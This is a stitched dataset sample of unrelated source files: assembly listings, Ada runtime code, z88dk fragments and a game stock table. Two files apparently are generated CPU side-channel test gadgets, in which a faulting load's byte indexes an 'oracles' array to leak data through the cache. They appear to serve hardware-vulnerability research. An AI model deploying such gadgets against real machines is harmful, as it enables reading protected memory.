; 608 : __asm__("mull %3": "=a"(w_lo), "=d"(*w_hi) : "0"(u), "rm"(v));
; 609 : return (w_lo);
; 610 : #elif defined(_M_X64)
; 611 : return (_umul128(u, v, w_hi));
; 612 : #else
; 613 : #error unknown platform
; 614 : #endif
; 615 : #else
; 616 : #error unknown compiler
; 617 : #endif
; 618 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
_MULTIPLY_UNIT_DIV ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT _SUBTRUCT_UNIT_DIV
_TEXT SEGMENT
borrow$ = 224
u$ = 232
v$ = 240
w$ = 248
_SUBTRUCT_UNIT_DIV PROC ; COMDAT
; 566 : {
mov QWORD PTR [rsp+32], r9
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov BYTE PTR [rsp+8], cl
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
movzx ecx, BYTE PTR [rsp+264]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 567 : #ifdef _MSC_VER
; 568 : return (_subborrow_u32(borrow, u, v, w));
mov eax, DWORD PTR u$[rbp]
movzx ecx, BYTE PTR borrow$[rbp]
add cl, -1
sbb eax, DWORD PTR v$[rbp]
setb cl
mov rdx, QWORD PTR w$[rbp]
mov DWORD PTR [rdx], eax
movzx eax, cl
; 569 : #elif defined(__GNUC__)
; 570 : #ifdef _M_IX86
; 571 : return (_subborrow_u32(borrow, u, v, w));
; 572 : #elif defined(_M_X64)
; 573 : return (_subborrow_u64(borrow, u, v, w));
; 574 : #else
; 575 : #error unknown platform
; 576 : #endif
; 577 : #else
; 578 : #error unknown compiler
; 579 : #endif
; 580 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
_SUBTRUCT_UNIT_DIV ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT _ADD_UNIT_DIV
_TEXT SEGMENT
carry$ = 224
u$ = 232
v$ = 240
w$ = 248
_ADD_UNIT_DIV PROC ; COMDAT
; 510 : {
mov QWORD PTR [rsp+32], r9
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov BYTE PTR [rsp+8], cl
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
movzx ecx, BYTE PTR [rsp+264]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 511 : #ifdef _MSC_VER
; 512 : return (_addcarry_u32(carry, u, v, w));
mov eax, DWORD PTR u$[rbp]
movzx ecx, BYTE PTR carry$[rbp]
add cl, -1
adc eax, DWORD PTR v$[rbp]
setb cl
mov rdx, QWORD PTR w$[rbp]
mov DWORD PTR [rdx], eax
movzx eax, cl
; 513 : #elif defined(__GNUC__)
; 514 : #ifdef _M_IX86
; 515 : return (_addcarry_u32(carry, u, v, w));
; 516 : #elif defined(_M_X64)
; 517 : return (_addcarry_u64(carry, u, v, w));
; 518 : #else
; 519 : #error unknown platform
; 520 : #endif
; 521 : #else
; 522 : #error unknown compiler
; 523 : #endif
; 524 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
_ADD_UNIT_DIV ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT _FROMDWORDTOWORD
_TEXT SEGMENT
value$ = 224
result_high$ = 232
_FROMDWORDTOWORD PROC ; COMDAT
; 468 : {
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 469 : *result_high = (_UINT32_T)(value >> 32);
mov rax, QWORD PTR value$[rbp]
shr rax, 32 ; 00000020H
mov rcx, QWORD PTR result_high$[rbp]
mov DWORD PTR [rcx], eax
; 470 : return ((_UINT32_T)value);
mov eax, DWORD PTR value$[rbp]
; 471 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
_FROMDWORDTOWORD ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT _FROMWORDTODWORD
_TEXT SEGMENT
value_high$ = 224
value_low$ = 232
_FROMWORDTODWORD PROC ; COMDAT
; 463 : {
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 464 : return (((_UINT64_T)value_high << 32) | value_low);
mov eax, DWORD PTR value_high$[rbp]
shl rax, 32 ; 00000020H
mov ecx, DWORD PTR value_low$[rbp]
or rax, rcx
; 465 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
_FROMWORDTODWORD ENDP
_TEXT ENDS
END
|
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_1773.asm | ljhsiun2/medusa | 9 | 93815 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x15000, %r14
clflush (%r14)
nop
nop
sub $26153, %r15
mov (%r14), %rdx
and %r9, %r9
lea addresses_A_ht+0x7800, %rbp
nop
add %r11, %r11
movb (%rbp), %r14b
nop
add %rdx, %rdx
lea addresses_A_ht+0xcc00, %rbp
nop
nop
nop
dec %r10
mov (%rbp), %r9d
nop
nop
nop
nop
nop
xor $38497, %r15
lea addresses_WC_ht+0x17780, %r11
sub $47707, %r15
mov $0x6162636465666768, %rdx
movq %rdx, (%r11)
and $24379, %r9
lea addresses_normal_ht+0x18000, %rsi
lea addresses_normal_ht+0x18760, %rdi
nop
nop
add $53048, %r15
mov $23, %rcx
rep movsl
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x1cfe0, %rdi
nop
nop
nop
nop
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm4
movups %xmm4, (%rdi)
add $10343, %r15
lea addresses_WT_ht+0xe700, %rdi
nop
nop
nop
add $26674, %rsi
mov (%rdi), %bp
nop
xor $58311, %r14
lea addresses_UC_ht+0x8e40, %rcx
nop
nop
nop
nop
nop
cmp %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, (%rcx)
nop
nop
nop
nop
nop
and $61555, %r9
lea addresses_normal_ht+0x4a80, %r11
nop
nop
nop
nop
nop
and %r15, %r15
movl $0x61626364, (%r11)
nop
nop
nop
nop
cmp $22703, %r15
lea addresses_D_ht+0x15a00, %r15
nop
nop
nop
lfence
mov (%r15), %r14d
nop
nop
nop
nop
xor $25389, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %r9
push %rbx
push %rsi
// Load
lea addresses_UC+0x2100, %r9
nop
nop
nop
nop
add $16991, %r12
movntdqa (%r9), %xmm4
vpextrq $0, %xmm4, %r11
nop
xor $53497, %rsi
// Load
lea addresses_RW+0x800, %r15
xor %rsi, %rsi
movb (%r15), %r9b
nop
nop
sub $54016, %r9
// Faulty Load
mov $0x345540000000800, %r15
nop
nop
nop
nop
nop
cmp %r10, %r10
mov (%r15), %r12d
lea oracles, %r10
and $0xff, %r12
shlq $12, %r12
mov (%r10,%r12,1), %r12
pop %rsi
pop %rbx
pop %r9
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/main/fragment/mos6502-common/_deref_pbum1=vbuaa.asm | jbrandwood/kickc | 2 | 164524 | ldy {m1}
sty $fe
ldy {m1}+1
sty $ff
ldy #0
sta ($fe),y
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Compress.asm | prismotizm/gigaleak | 0 | 3341 | Name: Compress.asm
Type: file
Size: 14243
Last-Modified: '1992-11-18T01:48:28Z'
SHA-1: 4E593CA790BDEC39A5B9A6F47000A6243D8F9A76
Description: null
|
tools-src/gnu/gcc/gcc/ada/s-tpoben.adb | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 5440 | <reponame>enfoTek/tomato.linksys.e2000.nvram-mod
------------------------------------------------------------------------------
-- --
-- GNU ADA RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . T A S K I N G . P R O T E C T E D _ O B J E C T S . --
-- E N T R I E S --
-- --
-- B o d y --
-- --
-- $Revision$
-- --
-- Copyright (C) 1991-2001, Florida State University --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNARL is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNARL; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. It is --
-- now maintained by Ada Core Technologies Inc. in cooperation with Florida --
-- State University (http://www.<EMAIL>). --
-- --
------------------------------------------------------------------------------
-- This package contains all the simple primitives related to
-- Protected_Objects with entries (i.e init, lock, unlock).
-- The handling of protected objects with no entries is done in
-- System.Tasking.Protected_Objects, the complex routines for protected
-- objects with entries in System.Tasking.Protected_Objects.Operations.
-- The split between Entries and Operations is needed to break circular
-- dependencies inside the run time.
-- Note: the compiler generates direct calls to this interface, via Rtsfind.
with Ada.Exceptions;
-- used for Exception_Occurrence_Access
with System.Task_Primitives.Operations;
-- used for Initialize_Lock
-- Write_Lock
-- Unlock
-- Get_Priority
-- Wakeup
with System.Tasking.Initialization;
-- used for Defer_Abort,
-- Undefer_Abort,
-- Change_Base_Priority
pragma Elaborate_All (System.Tasking.Initialization);
-- this insures that tasking is initialized if any protected objects are
-- created.
package body System.Tasking.Protected_Objects.Entries is
package STPO renames System.Task_Primitives.Operations;
use Ada.Exceptions;
use STPO;
Locking_Policy : Character;
pragma Import (C, Locking_Policy, "__gl_locking_policy");
--------------
-- Finalize --
--------------
procedure Finalize (Object : in out Protection_Entries) is
Entry_Call : Entry_Call_Link;
Caller : Task_ID;
Ceiling_Violation : Boolean;
Self_ID : constant Task_ID := STPO.Self;
Old_Base_Priority : System.Any_Priority;
begin
if Object.Finalized then
return;
end if;
STPO.Write_Lock (Object.L'Unrestricted_Access, Ceiling_Violation);
if Ceiling_Violation then
-- Dip our own priority down to ceiling of lock.
-- See similar code in Tasking.Entry_Calls.Lock_Server.
STPO.Write_Lock (Self_ID);
Old_Base_Priority := Self_ID.Common.Base_Priority;
Self_ID.New_Base_Priority := Object.Ceiling;
Initialization.Change_Base_Priority (Self_ID);
STPO.Unlock (Self_ID);
STPO.Write_Lock (Object.L'Unrestricted_Access, Ceiling_Violation);
if Ceiling_Violation then
Raise_Exception (Program_Error'Identity, "Ceiling Violation");
end if;
Object.Old_Base_Priority := Old_Base_Priority;
Object.Pending_Action := True;
end if;
-- Send program_error to all tasks still queued on this object.
for E in Object.Entry_Queues'Range loop
Entry_Call := Object.Entry_Queues (E).Head;
while Entry_Call /= null loop
Caller := Entry_Call.Self;
Entry_Call.Exception_To_Raise := Program_Error'Identity;
STPO.Write_Lock (Caller);
Initialization.Wakeup_Entry_Caller (Self_ID, Entry_Call, Done);
STPO.Unlock (Caller);
exit when Entry_Call = Object.Entry_Queues (E).Tail;
Entry_Call := Entry_Call.Next;
end loop;
end loop;
Object.Finalized := True;
STPO.Unlock (Object.L'Unrestricted_Access);
STPO.Finalize_Lock (Object.L'Unrestricted_Access);
end Finalize;
-------------------------------------
-- Has_Interrupt_Or_Attach_Handler --
-------------------------------------
function Has_Interrupt_Or_Attach_Handler
(Object : Protection_Entries_Access)
return Boolean
is
begin
return False;
end Has_Interrupt_Or_Attach_Handler;
-----------------------------------
-- Initialize_Protection_Entries --
-----------------------------------
procedure Initialize_Protection_Entries
(Object : Protection_Entries_Access;
Ceiling_Priority : Integer;
Compiler_Info : System.Address;
Entry_Bodies : Protected_Entry_Body_Access;
Find_Body_Index : Find_Body_Index_Access)
is
Init_Priority : Integer := Ceiling_Priority;
Self_ID : constant Task_ID := STPO.Self;
begin
if Init_Priority = Unspecified_Priority then
Init_Priority := System.Priority'Last;
end if;
if Locking_Policy = 'C'
and then Has_Interrupt_Or_Attach_Handler (Object)
and then Init_Priority not in System.Interrupt_Priority
then
-- Required by C.3.1(11)
raise Program_Error;
end if;
Initialization.Defer_Abort (Self_ID);
Initialize_Lock (Init_Priority, Object.L'Access);
Initialization.Undefer_Abort (Self_ID);
Object.Ceiling := System.Any_Priority (Init_Priority);
Object.Compiler_Info := Compiler_Info;
Object.Pending_Action := False;
Object.Call_In_Progress := null;
Object.Entry_Bodies := Entry_Bodies;
Object.Find_Body_Index := Find_Body_Index;
for E in Object.Entry_Queues'Range loop
Object.Entry_Queues (E).Head := null;
Object.Entry_Queues (E).Tail := null;
end loop;
end Initialize_Protection_Entries;
------------------
-- Lock_Entries --
------------------
procedure Lock_Entries
(Object : Protection_Entries_Access; Ceiling_Violation : out Boolean) is
begin
-- The lock is made without defering abortion.
-- Therefore the abortion has to be deferred before calling this
-- routine. This means that the compiler has to generate a Defer_Abort
-- call before the call to Lock.
-- The caller is responsible for undeferring abortion, and compiler
-- generated calls must be protected with cleanup handlers to ensure
-- that abortion is undeferred in all cases.
pragma Assert (STPO.Self.Deferral_Level > 0);
Write_Lock (Object.L'Access, Ceiling_Violation);
end Lock_Entries;
procedure Lock_Entries (Object : Protection_Entries_Access) is
Ceiling_Violation : Boolean;
begin
pragma Assert (STPO.Self.Deferral_Level > 0);
Write_Lock (Object.L'Access, Ceiling_Violation);
if Ceiling_Violation then
Raise_Exception (Program_Error'Identity, "Ceiling Violation");
end if;
end Lock_Entries;
----------------------------
-- Lock_Read_Only_Entries --
----------------------------
procedure Lock_Read_Only_Entries (Object : Protection_Entries_Access) is
Ceiling_Violation : Boolean;
begin
Read_Lock (Object.L'Access, Ceiling_Violation);
if Ceiling_Violation then
Raise_Exception (Program_Error'Identity, "Ceiling Violation");
end if;
end Lock_Read_Only_Entries;
--------------------
-- Unlock_Entries --
--------------------
procedure Unlock_Entries (Object : Protection_Entries_Access) is
begin
Unlock (Object.L'Access);
end Unlock_Entries;
end System.Tasking.Protected_Objects.Entries;
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_97_635.asm | ljhsiun2/medusa | 9 | 102255 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x10948, %rsi
lea addresses_A_ht+0x18148, %rdi
clflush (%rdi)
nop
nop
nop
and $57394, %r9
mov $15, %rcx
rep movsq
xor %rsi, %rsi
lea addresses_UC_ht+0xe528, %r11
nop
add $41369, %rbx
movups (%r11), %xmm3
vpextrq $0, %xmm3, %rdx
nop
nop
nop
nop
inc %rdx
lea addresses_D_ht+0x14144, %rcx
nop
dec %rdi
mov $0x6162636465666768, %rbx
movq %rbx, (%rcx)
and $42917, %r11
lea addresses_D_ht+0xc898, %rsi
nop
nop
nop
nop
cmp $52713, %rdi
mov (%rsi), %bx
nop
sub %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %r9
push %rbp
push %rdx
push %rsi
// Store
mov $0x52750000000ad8, %r12
nop
nop
nop
sub $62448, %r9
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
vmovups %ymm7, (%r12)
nop
nop
inc %r12
// Load
lea addresses_PSE+0x13148, %rsi
nop
nop
add %r14, %r14
movaps (%rsi), %xmm0
vpextrq $1, %xmm0, %r12
nop
nop
sub %r14, %r14
// Store
lea addresses_RW+0x1a8c8, %r14
nop
nop
add %r12, %r12
mov $0x5152535455565758, %r8
movq %r8, %xmm4
vmovups %ymm4, (%r14)
nop
nop
nop
nop
sub %r14, %r14
// Store
lea addresses_normal+0x4178, %r9
nop
nop
xor $12089, %r14
mov $0x5152535455565758, %r8
movq %r8, (%r9)
nop
inc %r14
// Store
lea addresses_WC+0x1bc48, %rdx
nop
nop
nop
nop
nop
cmp %rbp, %rbp
movb $0x51, (%rdx)
nop
add %rbp, %rbp
// Faulty Load
lea addresses_PSE+0x13148, %rdx
nop
nop
inc %r9
mov (%rdx), %r14w
lea oracles, %rbp
and $0xff, %r14
shlq $12, %r14
mov (%rbp,%r14,1), %r14
pop %rsi
pop %rdx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': True}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': True}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'}
{'33': 97}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
libsrc/_DEVELOPMENT/threads/mutex/c/sdcc_iy/spinlock_acquire.asm | jpoikela/z88dk | 640 | 103888 |
; void spinlock_acquire(char *spinlock)
SECTION code_clib
SECTION code_threads_mutex
PUBLIC _spinlock_acquire
EXTERN asm_spinlock_acquire
_spinlock_acquire:
pop af
pop hl
push hl
push af
jp asm_spinlock_acquire
|
Tables/stock_table.asm | ped7g/EliteNext | 0 | 173731 | <gh_stars>0
; Can Buy
; computed row on screen considering what stock is visible
; Show
; Tech Level
; Price
; Name
; TypeId
;char name[16];
;current_quantity;
;current_price;
;base_price;
;eco_adjust;
;base_quantity;
;mask;
;units;
; nam currr CR Ecadj Qty Msk UoM
StockFood DB 32, 0, 0, 19, -2, 6, $01, 48
StockTextiles DB 33, 0, 0, 20, -1, 10, $03, 48
StockRadioactives DB 34, 0, 0, 65, -3, 2, $07, 48
StockSlaves DB 35, 0, 0, 40, -5, 226, $1F, 48
StockLiquorWines DB 36, 0, 0, 83, -5, 251, $0F, 48
StockLuxuries DB 37, 0, 0, 196, 8, 54, $03, 48
StockNarcotics DB 38, 0, 0, 235, 29, 8, $78, 48
StockComputers DB 25, 0, 0, 154, 14, 56, $03, 48
StockMachinery DB 39, 0, 0, 117, 6, 40, $07, 48
StockAlloys DB 40, 0, 0, 78, 1, 17, $1F, 48
StockFirearms DB 41, 0, 0, 124, 13, 29, $07, 48
StockFurs DB 42, 0, 0, 176, -9, 220, $3F, 48
StockMinerals DB 43, 0, 0, 32, -1, 53, $03, 48
StockGold DB 44, 0, 0, 97, -1, 66, $07, 49
StockPlatinum DB 45, 0, 0, 171, -2, 55, $1F, 49
StockGemStones DB 46, 0, 0, 45, -1, 250, $0F, 50
StockAlienItems DB 47, 0, 0, 53, 15, 192, $07, 48
;.QQ23 \Prxs -> &3DA6 \ Market prices info
;\ base_price, gradient sign+5bits, base_quantity, mask, units 2bits
;13 82 06 01 EQUD &01068213 \ Food
;14 81 0A 03 EQUD &030A8114 \ Textiles
;41 83 02 07 EQUD &07028341 \ Radioactives
;28 85 E2 1F EQUD &1FE28528 \ Slaves
;53 85 FB 0F EQUD &0FFB8553 \ Liquor/Wines
;C4 08 36 03 EQUD &033608C4 \ Luxuries
;EB 1D 08 78 EQUD &78081DEB \ Narcotics
;9A 0E 38 03 EQUD &03380E9A \ Computers
;75 06 28 07 EQUD &07280675 \ Machinery
;4E 01 11 1F EQUD &1F11014E \ Alloys
;7C 0D 1D 07 EQUD &071D0D7C \ Firearms
;B0 89 DC 3F EQUD &3FDC89B0 \ Furs
;20 81 35 03 EQUD &03358120 \ Minerals
;61 A1 42 07 EQUD &0742A161 \ Gold
;AB A2 37 1F EQUD &1F37A2AB \ Platinum
;2D C1 FA 0F EQUD &0FFAC12D \ Gem-Stones
;35 0F C0 07 EQUD &07C00F35 \ Alien Items
AlienItemsIndex equ 16
StockListLen equ 17
StockItemTable DW StockFood, StockTextiles, StockRadioactives
DW StockSlaves, StockLiquorWines, StockLuxuries
DW StockNarcotics, StockComputers, StockMachinery
DW StockAlloys, StockFirearms, StockFurs
DW StockMinerals, StockGold, StockPlatinum
